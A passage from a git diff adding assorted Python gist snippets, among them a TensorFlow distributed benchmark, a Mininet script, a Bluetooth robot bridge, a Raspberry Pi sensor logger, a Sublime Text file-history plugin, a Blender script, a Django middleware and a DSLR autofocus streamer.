+  ops = create_graph(None, None)
+  sess = tf.Session(config=default_config())
+  return run_benchmark(sess, *ops)
+
+
+def run_benchmark_distributed():
+  ops = create_graph("/job:worker/task:0", "/job:worker/task:1")
+
+  # launch distributed service
+  def runcmd(cmd): subprocess.Popen(cmd, shell=True, stderr=subprocess.STDOUT)
+  runcmd("python %s --task=0"%(sys.argv[0]))
+  runcmd("python %s --task=1"%(sys.argv[0]))
+  time.sleep(1)
+
+  sess = tf.Session("grpc://"+host+FLAGS.port1, config=default_config())
+  return run_benchmark(sess, *ops)
+  
+if __name__=='__main__':
+  if not FLAGS.task:
+
+    rate1 = run_benchmark_local()
+    rate2 = run_benchmark_distributed()
+
+    print("Adding data in %d MB chunks" %(FLAGS.data_mb))
+    print("Local rate:       %.2f MB per second" %(rate1,))
+    print("Distributed rate: %.2f MB per second" %(rate2,))
+
+  else: # Launch TensorFlow server
+    server = tf.train.Server(clusterspec, config=default_config(),
+                             job_name="worker",
+                             task_index=int(FLAGS.task))
+    server.join()
diff --git a/hard-gists/1125832/._snippet.py b/hard-gists/1125832/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1125832/._snippet.py differ
diff --git a/hard-gists/1125832/snippet.py b/hard-gists/1125832/snippet.py
new file mode 100644
index 00000000..4076dd6a
--- /dev/null
+++ b/hard-gists/1125832/snippet.py
@@ -0,0 +1,23 @@
+import sys
+from IPython.core.debugger import Pdb
+from IPython.core import ipapi
+
+
+def set_trace():
+    ip = ipapi.get()
+    def_colors = ip.colors
+    Pdb(def_colors).set_trace(sys._getframe().f_back)
+
+
+def post_mortem(tb):
+    ip = ipapi.get()
+    def_colors = ip.colors
+    p = Pdb(def_colors)
+    p.reset()
+    while tb.tb_next is not None:
+        tb = tb.tb_next
+    p.interaction(tb.tb_frame, tb)
+
+
+def pm():
+    post_mortem(sys.last_traceback)
diff --git a/hard-gists/11280233/._snippet.py b/hard-gists/11280233/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11280233/._snippet.py differ
diff --git a/hard-gists/11280233/snippet.py b/hard-gists/11280233/snippet.py
new file mode 100644
index 00000000..75efb428
--- /dev/null
+++ b/hard-gists/11280233/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+import os
+from mininet.net import Mininet
+from mininet.node import Controller, RemoteController
+from mininet.cli import CLI
+from mininet.link import Intf
+from mininet.log import setLogLevel, info
+
+def myNetwork():
+
+    net = Mininet( topo=None, build=False)
+
+    info( '*** Adding controller\n' )
+    net.addController(name='c0')
+
+    info( '*** Add switches\n')
+    s1 = net.addSwitch('s1')
+#   Intf( 'eth0', node=s1 ) #Some Problem
+
+    info( '*** Add hosts\n')
+    h1 = net.addHost('h1', ip='0.0.0.0')
+    h2 = net.addHost('h2', ip='0.0.0.0')
+
+    info( '*** Add links\n')
+    net.addLink(h1, s1)
+    net.addLink(h2, s1)
+    
+    info( '*** Starting network\n')
+    net.start()
+    os.popen('ovs-vsctl add-port s1 eth0')
+    h1.cmdPrint('dhclient '+h1.defaultIntf().name)
+    h2.cmdPrint('dhclient '+h2.defaultIntf().name)
+    CLI(net)
+    net.stop()
+
+if __name__ == '__main__':
+    setLogLevel( 'info' )
+    myNetwork()
\ No newline at end of file
diff --git a/hard-gists/11284662/._snippet.py b/hard-gists/11284662/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11284662/._snippet.py differ
diff --git a/hard-gists/11284662/snippet.py b/hard-gists/11284662/snippet.py
new file mode 100644
index 00000000..759d4f9d
--- /dev/null
+++ b/hard-gists/11284662/snippet.py
@@ -0,0 +1,135 @@
+import select
+import socket
+import sys
+
+import objc
+from PyObjCTools import AppHelper
+
+objc.loadBundle("CoreBluetooth", globals(),
+    bundle_path=objc.pathForFramework(u'/System/Library/Frameworks/IOBluetooth.framework/Versions/A/Frameworks/CoreBluetooth.framework'))
+
+blebee_service = CBUUID.UUIDWithString_(u'EF080D8C-C3BE-41FF-BD3F-05A5F4795D7F')
+blebee_rx = CBUUID.UUIDWithString_(u'A1E8F5B1-696B-4E4C-87C6-69DFE0B0093B')
+blebee_tx = CBUUID.UUIDWithString_(u'1494440E-9A58-4CC0-81E4-DDEA7F74F623')
+
+class RobotDelegate(object):
+    def __init__(self):
+        self.manager = None
+        self.peripheral = None
+
+        self.service = None
+
+        self.rx = None
+        self.tx = None
+
+        self.comms = None
+
+    def centralManagerDidUpdateState_(self, manager):
+        print repr(manager), "done it!"
+        self.manager = manager
+        manager.scanForPeripheralsWithServices_options_([blebee_service], None)
+
+    def centralManager_didDiscoverPeripheral_advertisementData_RSSI_(self, manager, peripheral, data, rssi):
+        self.peripheral = peripheral
+        manager.connectPeripheral_options_(peripheral, None)
+
+    def centralManager_didConnectPeripheral_(self, manager, peripheral):
+        print repr(peripheral)
+        self.peripheral.setDelegate_(self)
+        self.peripheral.discoverServices_([blebee_service])
+
+    def centralManager_didFailToConnectPeripheral_error_(self, manager, peripheral, error):
+        print repr(error)
+
+    def centralManager_didDisconnectPeripheral_error_(self, manager, peripheral, error):
+        print repr(error)
+        AppHelper.stopEventLoop()
+
+    def peripheral_didDiscoverServices_(self, peripheral, services):
+        self.service = self.peripheral.services()[0]
+        self.peripheral.discoverCharacteristics_forService_([blebee_rx, blebee_tx], self.service)
+
+    def peripheral_didDiscoverCharacteristicsForService_error_(self, peripheral, service, error):
+        print repr(service)
+        print repr(error)
+
+        for characteristic in self.service.characteristics():
+            if characteristic.UUID() == blebee_rx:
+                self.rx = characteristic
+                self.peripheral.setNotifyValue_forCharacteristic_(True, self.rx)
+            elif characteristic.UUID() == blebee_tx:
+                self.tx = characteristic
+
+        print repr(self.rx.UUID())
+        print repr(self.tx.UUID())
+
+    def peripheral_didWriteValueForCharacteristic_error_(self, peripheral, characteristic, error):
+        print repr(error)
+
+    def peripheral_didUpdateNotificationStateForCharacteristic_error_(self, peripheral, characteristic, error):
+        print "Receiving notifications"
+
+    def peripheral_didUpdateValueForCharacteristic_error_(self, peripheral, characteristic, error):
+        self.comms.send(characteristic.value().bytes().tobytes())
+        print repr(characteristic.value().bytes().tobytes())
+
+    def shutdown(self):
+        if self.peripheral is not None:
+            self.manager.cancelPeripheralConnection_(self.peripheral)
+        else:
+            AppHelper.stopEventLoop()
+
+    def send(self, byte):
+        byte = NSData.dataWithBytes_length_(byte, 1)
+        self.peripheral.writeValue_forCharacteristic_type_(byte, self.tx, 0)
+
+class CommsManager(object):
+    def __init__(self, robot):
+        self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.listener.bind(("127.0.0.1", 9999))
+        self.listener.listen(1)
+
+        self.connection = None
+
+        self.robot = robot
+        self.robot.comms = self
+
+    def loop(self):
+        endpoints = [sys.stdin, self.listener]
+        if self.connection is not None:
+            endpoints.append(self.connection)
+
+        r, w, e = select.select(endpoints, [], [], 0)
+        if sys.stdin in r:
+            delegate.shutdown()
+            return
+        if self.listener in r:
+            self.connection, _ = self.listener.accept()
+        if self.connection in r:
+            c = self.connection.recv(1)
+            if len(c) == 0:
+                print "closed"
+                self.connection.close()
+                self.connection = None
+            elif c not in ('\r', '\n'):
+                print repr(c)
+                self.robot.send(c)
+
+        AppHelper.callLater(0.1, self.loop)
+
+    def send(self, data):
+        while len(data):
+            sent = self.connection.send(data)
+            data = data[sent:]
+
+delegate = RobotDelegate()
+manager = CBCentralManager.alloc()
+manager.initWithDelegate_queue_options_(delegate, None, None)
+
+comms = CommsManager(delegate)
+
+print repr(manager)
+
+AppHelper.callLater(0.1, comms.loop)
+AppHelper.runConsoleEventLoop()
diff --git a/hard-gists/11292725/._snippet.py b/hard-gists/11292725/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11292725/._snippet.py differ
diff --git a/hard-gists/11292725/snippet.py b/hard-gists/11292725/snippet.py
new file mode 100644
index 00000000..444f58ec
--- /dev/null
+++ b/hard-gists/11292725/snippet.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python
+
+import os, time, signal, sys
+from Adafruit_ADS1x15 import ADS1x15
+import RPi.GPIO as GPIO
+from datetime import datetime
+import subprocess
+import argparse
+import requests
+import json
+import plotly
+
+# look at your Plot.ly account
+stream_tokens = ['aaaaaaaaaa', 'bbbbbbbbbb', 'ccccccccc', 'ddddddddd']
+
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(23, GPIO.OUT)
+GPIO.setup(24, GPIO.IN)
+
+def signal_handler(signal, frame):
+        #print 'You pressed Ctrl+C!'
+        sys.exit(0)
+signal.signal(signal.SIGINT, signal_handler)
+
+#print 'Press Ctrl+C to exit'
+
+ADS1015 = 0x00  # 12-bit ADC
+ADS1115 = 0x01  # 16-bit ADC
+
+# Initialise the ADC using the default mode (use default I2C address)
+# Set this to ADS1015 or ADS1115 depending on the ADC you are using!
+adc = ADS1x15(ic=ADS1115)
+
+def logfunc( filename ):
+
+    # Now do a differential reading of channels 2 and 3
+    voltsdiff01 = adc.readADCDifferential01(4096, 250)/1000.0
+    voltsdiff23 = adc.readADCDifferential23(4096, 250)/1000.0
+
+    p = subprocess.Popen('sudo /home/pi/bin/LuxMeter'.split(), stdout=subprocess.PIPE)
+    out, _ = p.communicate()
+    lux = int( out.split(',')[3].split(':')[1] )
+
+    row = "%s,%.4f,%.4f,%i,%i\n" % (datetime.now().strftime("%Y-%m-%d %H:%M:%S"), -voltsdiff01, -voltsdiff23, GPIO.input(24), lux)
+
+    with open( filename , "a") as f:
+        f.write( row )
+
+    return datetime.now().strftime("%Y-%m-%d %H:%M:%S"), -voltsdiff01, -voltsdiff23, GPIO.input(24), lux
+
+def streamdata():
+
+    s0 = plotly.stream(stream_tokens[0])
+    s1 = plotly.stream(stream_tokens[1])
+    s2 = plotly.stream(stream_tokens[2])
+
+    while True:
+        moment, vin, vstor, batok, lux = logfunc( os.path.join(logfolder, filename) )
+        s0.write({'x': moment, 'y': vin})
+        s1.write({'x': moment, 'y': vstor})
+        s2.write({'x': moment, 'y': lux})
+        time.sleep(0.5)
+    s0.close()
+    s1.close()
+    s2.close()
+
+if __name__ == "__main__":
+
+    filename = None
+    logfolder = '/home/pi/smartlogs/'
+
+    parser = argparse.ArgumentParser()
+    parser.add_argument('-f', '--file', default=None)
+    args = parser.parse_args()
+
+    if args.file is None:
+        filename = '%s_luxvstor.log' % datetime.now().strftime("%Y%m%d")
+    else:
+        filename = args.file
+
+    print "Log location: %s" % os.path.join(logfolder, filename)
+
+    streamdata()
\ No newline at end of file
diff --git a/hard-gists/1133602/._snippet.py b/hard-gists/1133602/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1133602/._snippet.py differ
diff --git a/hard-gists/1133602/snippet.py b/hard-gists/1133602/snippet.py
new file mode 100644
index 00000000..9ecc231c
--- /dev/null
+++ b/hard-gists/1133602/snippet.py
@@ -0,0 +1,327 @@
+'''
+@author Josh Bjornson
+
+This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License.
+To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/
+or send a letter to Creative Commons, 171 Second Street, Suite 300, San Francisco, California, 94105, USA.
+'''
+# Plugin to provide access to the history of accessed files:
+# https://gist.github.com/1133602
+#
+# The plugin stores a JSON file with the file history.
+#
+# Note: I tried checking for file existence in the history but this
+# took more time than expected (especially with networked files) and
+# made the plugin quite unresponsive.  The compromise is a command
+# to cleanup the current project (with the option to clean up the
+# global list as well).  The cleanup will remove any files in the
+# project history that don't exist.
+#
+# To run the plugin:
+# view.run_command("open_recently_closed_file")
+# view.run_command("cleanup_file_history")
+#
+# Keymap entries:
+# { "keys": ["ctrl+shift+t"], "command": "open_recently_closed_file"},
+# { "keys": ["ctrl+alt+shift+t"], "command": "open_recently_closed_file", "args": {"show_quick_panel": false}  },
+# { "keys": ["ctrl+alt+shift+t"], "command": "open_recently_closed_file", "args": {"current_project_only": false}  },
+# { "keys": ["ctrl+alt+shift+c"], "command": "cleanup_file_history", "args": {"current_project_only": false}  },
+#
+# TODO use api function (not yet available) to get the project name/id (rather than using a hash of the project folders)
+# TODO Get the settings below from a sublime-settings file?
+
+import sublime
+import sublime_plugin
+import os
+import hashlib
+import json
+
+# Maximum number of history entries we should keep (older entries truncated)
+GLOBAL_MAX_ENTRIES = 100
+PROJECT_MAX_ENTRIES = 50
+
+# Which position to open a file at when the saved index in no longer valid
+# (e.g. after a migration or if the saved index is non-existent).
+# Options are: next tab and last tab
+(TAB_POSITION_NEXT, TAB_POSITION_LAST) = ('next', 'last')
+DEFAULT_NEW_TAB_POSITION = TAB_POSITION_NEXT
+
+# Print out the debug text?
+PRINT_DEBUG = False
+
+# Should we show a preview of the history entries?
+SHOW_FILE_PREVIEW = True
+
+# Helper methods for "logging" to the console.
+def debug(text):
+    if PRINT_DEBUG:
+        log(text)
+
+
+def log(text):
+    print('[%s] %s' % ('FileHistory', text))
+
+
+# Class to read and write the file-access history.
+class FileHistory(object):
+    _instance = None
+
+    """Basic singleton implementation"""
+    @classmethod
+    def instance(cls):
+        if not cls._instance:
+            cls._instance = cls()
+        return cls._instance
+
+    """Class to manage the file-access history"""
+    def __init__(self):
+        self.history_file = os.path.join(sublime.packages_path(), 'User', 'FileHistory.json')
+
+        self.history = {}
+        self.__load_history()
+
+        self.calling_view = None
+
+    def get_current_project_key(self):
+        m = hashlib.md5()
+        for path in sublime.active_window().folders():
+            m.update(path.encode('utf-8'))
+        project_key = m.hexdigest()
+
+        # Try to use project_file_name (available in ST3 build 3014)
+        # Note: Although it would be more appropriate, the name of the workspace is not available
+        if hasattr(sublime.active_window(), 'project_file_name'):
+            project_filename = sublime.active_window().project_file_name()
+            if not project_filename:
+                return project_key
+
+            # migrate the old history entry (if it exists)
+            if project_key in self.history:
+                self.history[project_filename] = self.history[project_key]
+                del(self.history[project_key])
+
+            # use the new project key
+            project_key = project_filename
+
+        return project_key
+
+    def __load_history(self):
+        debug('Loading the history from file ' + self.history_file)
+        if not os.path.exists(self.history_file):
+            return
+
+        f = open(self.history_file, 'r')
+        try:
+            updated_history = json.load(f)
+        finally:
+            f.close()
+
+        self.history = updated_history
+
+    def __save_history(self):
+        debug('Saving the history to file ' + self.history_file)
+        f = open(self.history_file, mode='w+')
+        try:
+            json.dump(self.history, f, indent=4)
+            f.flush()
+        finally:
+            f.close()
+
+    def get_history(self, current_project_only=True):
+        """Return the requested history (global or project-specific): opened files followed by closed files"""
+
+        # Make sure the history is loaded
+        if len(self.history) == 0:
+            self.__load_history()
+
+        # Load the requested history (global or project-specific)
+        if current_project_only:
+            project_name = self.get_current_project_key()
+        else:
+            project_name = 'global'
+
+        # Return the list of closed and opened files
+        if project_name in self.history:
+            return self.history[project_name]['closed'] + self.history[project_name]['opened']
+        else:
+            debug('WARN: Project %s could not be found in the file history list - returning an empty history list' % (project_name))
+            return []
+
+    def __ensure_project(self, project_name):
+        """Make sure the project nodes exist (including 'opened' and 'closed')"""
+        if project_name not in self.history:
+            self.history[project_name] = {}
+            self.history[project_name]['opened'] = []
+            self.history[project_name]['closed'] = []
+
+    def add_view(self, view, history_type):
+        # Get the file details from the view
+        filename = os.path.normpath(view.file_name()) if view.file_name() else None
+        # Only keep track of files that exist (that have already been saved)
+        if filename != None:
+            project_name = self.get_current_project_key()
+            (group, index) = sublime.active_window().get_view_index(view)
+
+            if os.path.exists(filename):
+                # Add to both the project-specific and global histories
+                self.__add_to_history(project_name, history_type, filename, group, index)
+                self.__add_to_history('global', history_type, filename, group, index)
+            else:
+                # If the file doesn't exist then remove it from the lists
+                debug('The file no longer exists, so it has been removed from the history: ' + filename)
+                self.__remove(project_name, filename)
+                self.__remove('global', filename)
+
+            self.__save_history()
+
+    def __add_to_history(self, project_name, history_type, filename, group, index):
+        debug('Adding %s file to project %s with group %s and index %s: %s' % (history_type, project_name, group, index, filename))
+
+        # Make sure the project nodes exist
+        self.__ensure_project(project_name)
+
+        # Remove the file from the project list then
+        # add it to the top (of the opened/closed list)
+        self.__remove(project_name, filename)
+        node = {'filename': filename, 'group':group, 'index':index}
+        self.history[project_name][history_type].insert(0, node)
+
+        # Make sure we limit the number of history entries
+        max_num_entries = GLOBAL_MAX_ENTRIES if project_name == 'global' else PROJECT_MAX_ENTRIES
+        self.history[project_name][history_type] = self.history[project_name][history_type][0:max_num_entries]
+
+    def __remove(self, project_name, filename):
+        # Only continue if this project exists
+        if project_name not in self.history:
+            return
+
+        # Remove any references to this file from the project
+        for history_type in ('opened', 'closed'):
+            for node in iter(self.history[project_name][history_type]):
+                if node['filename'] == filename:
+                    self.history[project_name][history_type].remove(node)
+
+    def clean_history(self, project_name):
+        # Only continue if this project exists
+        if project_name not in self.history:
+            sublime.status_message("This project does not have any history")
+            return
+
+        # Remove any non-existent files from the project
+        for history_type in ('opened', 'closed'):
+            for node in reversed(self.history[project_name][history_type]):
+                if not os.path.exists(node['filename']):
+                    debug('Removing non-existent file from the project: %s' % (node['filename']))
+                    self.history[project_name][history_type].remove(node)
+
+        self.__save_history()
+        sublime.status_message("File history cleaned")
+
+
+class OpenRecentlyClosedFileEvent(sublime_plugin.EventListener):
+    """class to keep a history of the files that have been opened and closed"""
+
+    def on_close(self, view):
+        FileHistory.instance().add_view(view, 'closed')
+
+    def on_load(self, view):
+        window = sublime.active_window()
+
+        # If this view is being previewed (transient), then don't trigger the file history event
+        add_to_history = True
+        if hasattr(window, 'transient_view_in_group'):
+            if view == window.transient_view_in_group(window.active_group()):
+                add_to_history = False
+
+        if add_to_history:
+            FileHistory.instance().add_view(view, 'opened')
+
+
+class CleanupFileHistoryCommand(sublime_plugin.WindowCommand):
+    def run(self, current_project_only=True):
+        # Cleanup the current project
+        h = FileHistory.instance()
+        h.clean_history(h.get_current_project_key())
+
+        # If requested, also cleanup the global history
+        if not current_project_only:
+            h.clean_history('global')
+
+
+class OpenRecentlyClosedFileCommand(sublime_plugin.WindowCommand):
+    """class to either open the last closed file or show a quick panel with the recent file history (closed files first)"""
+
+    def run(self, show_quick_panel=True, current_project_only=True):
+        # Remember the view that the command was run from (aka the "calling" view), so:
+        # (1) we can return to the "calling" view if the user cancels
+        # (2) we can show something if a file in the history no longer exists
+        FileHistory.instance().calling_view = sublime.active_window().active_view()
+
+        # Prepare the display list with the file name and path separated
+        self.history_list = FileHistory.instance().get_history(current_project_only)
+        display_list = []
+        for node in self.history_list:
+            file_path = node['filename']
+            display_list.append([os.path.basename(file_path), os.path.dirname(file_path)])
+
+        if show_quick_panel:
+            # The new ST3 API supports an "on_highlight" function in the "show_quick_panel" call
+            if int(sublime.version()) >= 3000:
+                self.window.show_quick_panel(display_list, self.open_file, on_highlight=self.show_preview)
+            else:
+                self.window.show_quick_panel(display_list, self.open_file)
+        else:
+            self.open_file(0)
+
+
+    def is_valid(self, selected_index):
+        return selected_index >= 0 and selected_index < len(self.history_list)
+
+
+    # Note: This function will never be called in ST2
+    def show_preview(self, selected_index):
+        if not SHOW_FILE_PREVIEW:
+            return
+        if self.is_valid(selected_index):
+            # Preview the file if it exists, otherwise show the previous view (aka the "calling_view")
+            node = self.history_list[selected_index]
+            if os.path.exists(node['filename']):
+                self.window.open_file(node['filename'], sublime.TRANSIENT)
+            else:
+                sublime.active_window().focus_view( FileHistory.instance().calling_view )
+
+
+    def open_file(self, selected_index):
+        if self.is_valid(selected_index):
+            node = self.history_list[selected_index]
+
+            # Get the group of the new view (the currently active group is the default)
+            group = node['group']
+            if group < 0 or group >= self.window.num_groups():
+                group = self.window.active_group()
+
+            # Get the alternative tab index (in case the saved index in no longer valid):
+            # The file could be opened in the last tab (max_index) or after the current tab (next_index)...
+            max_index = len(self.window.views_in_group(group))
+            if max_index:
+                next_index = self.window.get_view_index(self.window.active_view_in_group(group))[1] + 1
+            else:
+                next_index = 0
+
+            # Get the index of the new view
+            index = node['index']
+            if index < 0 or index > max_index:
+                index = next_index if DEFAULT_NEW_TAB_POSITION == TAB_POSITION_NEXT else max_index
+
+            debug('Opening file in group %s, index %s (based on saved group %s, index %s): %s' % (group, index, node['group'], node['index'], node['filename']))
+
+            # Open the file and position the view correctly
+            new_view = self.window.open_file(node['filename'])
+            self.window.set_view_index(new_view, group, index)
+
+            # Add the file we just opened to the FileHistory
+            FileHistory.instance().add_view(new_view, 'opened')
+        else:
+            # The user cancelled the action - give the focus back to the "calling" view
+            sublime.active_window().focus_view( FileHistory.instance().calling_view )
+            FileHistory.instance().calling_view = None
diff --git a/hard-gists/1134410/._snippet.py b/hard-gists/1134410/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1134410/._snippet.py differ
diff --git a/hard-gists/1134410/snippet.py b/hard-gists/1134410/snippet.py
new file mode 100644
index 00000000..7e3cacdf
--- /dev/null
+++ b/hard-gists/1134410/snippet.py
@@ -0,0 +1,79 @@
+import bpy
+from mathutils import Vector
+
+listOfVectors = [((0,0,0,1)),((1,0,0,1)),((1,1,0,1)),((0,1,0,1))]
+
+shapes = [  [((0,0,0,1)),((1,0,0,1)),((1,1,0,1)),((0,1,0,1))],
+            [((0,0,0,1)),((2,0,0,1)),((1,1,0,1)),((0,1,0,1))],
+            [((0,0,0,1)),((1,0,0,1)),((1,2,0,1)),((0,1,0,1))],
+            [((0,0,0,1)),((1,0,0,1)),((1,1,0,1)),((-1,1,0,1))]
+            ]
+
+
+def print_divider():
+    print()
+    print("="*40)
+
+            
+# turn tuple list into vector list.
+def vectorize_list(shapes):
+    shapes_as_vectors = []
+    for shape in shapes:
+        shape_points = []
+        for i in shape:
+            shape_points.append(Vector(i))
+        shapes_as_vectors.append(shape_points)    
+    return shapes_as_vectors
+
+
+
+# create a spline curve from a number of points
+def MakePolyFace(objname, curvename, cList):
+    curvedata = bpy.data.curves.new(name=curvename, type='CURVE')
+    curvedata.dimensions = '2D'
+
+    objectdata = bpy.data.objects.new(objname, curvedata)
+    objectdata.location = (0,0,0) #object origin
+    bpy.context.scene.objects.link(objectdata)
+
+    polyline = curvedata.splines.new('POLY')
+    polyline.points.add(len(cList)-1)
+
+    for num in range(len(cList)):
+        polyline.points[num].co = (cList[num])
+        
+    polyline.order_u = len(polyline.points)-1  
+    polyline.use_endpoint_u = True
+    polyline.use_cyclic_u = True 
+
+
+MakePolyFace("NameOfMyCurveObject", "NameOfMyCurve", listOfVectors)
+
+# select the shape
+bpy.context.scene.objects.active = bpy.data.objects["NameOfMyCurveObject"]
+polyface = bpy.context.active_object
+
+
+print_divider()
+
+# Milestone 2
+# make several shape keys
+
+shapes = vectorize_list(shapes)
+for shape in shapes:
+    #print(shape)
+    iterator = 0
+    for point in polyface.data.splines[0].points:
+        print("is", point.co)
+        print("should be", shape[iterator])
+        # point.co = shape[iterator]
+        iterator += 1
+    
+    print("----")
+    # polyface.shape_key_add()        
+    
+
+# code snips
+# bpy.ops.anim.change_frame(frame=current_frame)
+# bpy.context.active_object.data.shape_keys
+# me.shape_keys.key_blocks['Key 1'].keyframe_insert(
diff --git a/hard-gists/113635/._snippet.py b/hard-gists/113635/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/113635/._snippet.py differ
diff --git a/hard-gists/113635/snippet.py b/hard-gists/113635/snippet.py
new file mode 100644
index 00000000..3b04db19
--- /dev/null
+++ b/hard-gists/113635/snippet.py
@@ -0,0 +1,50 @@
+# Copyright (c) 2009, Sunlight Foundation
+# All rights reserved.
+# 
+# Redistribution and use in source and binary forms, with or without modification,
+# are permitted provided that the following conditions are met:
+# 
+#     * Redistributions of source code must retain the above copyright notice,
+#       this list of conditions and the following disclaimer.
+#     * Redistributions in binary form must reproduce the above copyright notice,
+#       this list of conditions and the following disclaimer in the documentation
+#       and/or other materials provided with the distribution.
+#     * Neither the name of Sunlight Foundation, Sunlight Labs
+#       nor the names of its contributors may be used to endorse or promote products
+#       derived from this software without specific prior written permission.
+# 
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
+# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
+# THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
+# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+from django.conf import settings
+from django.core.exceptions import MiddlewareNotUsed
+from django.utils.decorators import decorator_from_middleware
+	
+CONTENT_TYPES = ('text/html','application/xhtml+xml','application/xml')
+HEADER_VALUE = getattr(settings, 'X_UA_COMPATIBLE', 'IE=edge')
+
+class XUACompatibleMiddleware(object):
+    
+    def __init__(self, value=None):
+        
+        self.value = value
+        if value is None:
+            self.value = HEADER_VALUE
+        if not self.value:
+            raise MiddlewareNotUsed
+        
+    def process_response(self, request, response):
+        response_ct = response.get('Content-Type','').split(';', 1)[0].lower()
+        if response_ct in CONTENT_TYPES:
+            if not 'X-UA-Compatible' in response:
+                response['X-UA-Compatible'] = self.value
+        return response
+
+xuacompatible = decorator_from_middleware(XUACompatibleMiddleware)
\ No newline at end of file
diff --git a/hard-gists/11367287/._snippet.py b/hard-gists/11367287/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/11367287/._snippet.py differ
diff --git a/hard-gists/11367287/snippet.py b/hard-gists/11367287/snippet.py
new file mode 100644
index 00000000..a71a264b
--- /dev/null
+++ b/hard-gists/11367287/snippet.py
@@ -0,0 +1,205 @@
+#!/usr/bin/python
+'''
+Author: Zoetrope Ltd.
+MJPEG stream from DSLR with autofocus
+Based on Igor Maculan's simple mjpg http server:
+https://gist.github.com/n3wtron/4624820
+'''
+import camera
+from PIL import Image, ImageFilter, ImageChops, ImageStat, ImageDraw
+from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
+import StringIO
+import time
+
+def estimateFocus(file, s=5):
+    im = Image.open(file).convert("L")
+    w,h = im.size
+    box = (w/2 - 50, h/2 - 50, w/2 + 50, h/2 + 50)
+    im = im.crop(box)
+    imf = im.filter(ImageFilter.MedianFilter(s))
+    d = ImageChops.subtract(im, imf, 1, 100)
+    return ImageStat.Stat(d).stddev[0]
+
+def setManualFocus(camm, focusPoint):
+    focusList = ['Near 1', 'Near 2', 'Near 3', 'None', 'Far 1', 'Far 2', 'Far 3']
+    conf = camera.Config(camm)
+    root = conf.get_root_widget()
+    child = root.get_child_by_name("manualfocusdrive")
+    child.set_value(focusList[focusPoint])
+    conf.set_config()
+
+
+class focusStateMachine():
+
+    def __init__(self):
+        self.focusValues = []
+        self.state = self.moveToEnd
+        self.coarseList = []
+        self.mediumList = []
+        self.fineList = []
+        self.returnState = None
+        self.currentRelPos = [0,0,0]
+
+    def moveToEnd(self):
+        print "move to end"
+        self.state = self.moveTo
+        self.returnState = self.focusCoarse
+        self.currentRelPos = [0,0,0]
+        self.moveToParam = [0,0,-6]
+
+
+    def moveTo(self):
+        print "Moving: current = {}, target = {}, focus is {}".format(self.currentRelPos, self.moveToParam, estimateFocus("preview.jpg"))
+        if self.currentRelPos == self.moveToParam:
+            self.state = self.returnState
+            print "Move finished!"
+            self.currentRelPos = [0,0,0]
+            return
+        else:
+            #Check coarse
+            if self.currentRelPos[2] != self.moveToParam[2]:
+                if self.currentRelPos[2] < self.moveToParam[2]:
+                    setManualFocus(capture, 6)
+                    self.currentRelPos[2] += 1
+                else:
+                    setManualFocus(capture, 2)
+                    self.currentRelPos[2] -= 1
+                time.sleep(0.12)
+            elif self.currentRelPos[1] != self.moveToParam[1]:
+                if self.currentRelPos[1] < self.moveToParam[1]:
+                    setManualFocus(capture, 5)
+                    self.currentRelPos[1] += 1
+                else:
+                    setManualFocus(capture, 1)
+                    self.currentRelPos[1] -= 1
+                time.sleep(0.07)
+            elif self.currentRelPos[0] != self.moveToParam[0]:
+                if self.currentRelPos[0] < self.moveToParam[0]:
+                    setManualFocus(capture, 4)
+                    self.currentRelPos[0] += 1
+                else:
+                    setManualFocus(capture, 0)
+                    self.currentRelPos[0] -= 1
+                time.sleep(0.04)
+
+    def focusCoarse(self):
+        coarseCount = len(self.coarseList)
+
+        self.coarseList.append(estimateFocus("preview.jpg"))
+        print "Coarse no. {}: currently: {}".format(coarseCount,estimateFocus("preview.jpg"))
+
+        if (coarseCount == 7):
+            index = self.coarseList.index(max(self.coarseList))
+            self.moveToParam = [0,2,-(7-index)]
+            self.state = self.moveTo
+            self.returnState = self.focusMedium
+
+            self.run()
+
+            return
+
+
+        self.state = self.moveTo
+        self.moveToParam = [0,0,1]
+
+
+    def focusMedium(self):
+        currentFocus = estimateFocus("preview.jpg")
+
+        self.mediumList.append(currentFocus)
+
+        print "Medium {}: currently = {}".format(len(self.mediumList), currentFocus)
+        if len(self.mediumList) > 2:
+            if  self.mediumList[-1] < (0.95 * self.mediumList[-2]):
+                ##Go back to best focus point and change state
+                self.state = self.moveTo
+                self.currentRelPos = [0,0,0]
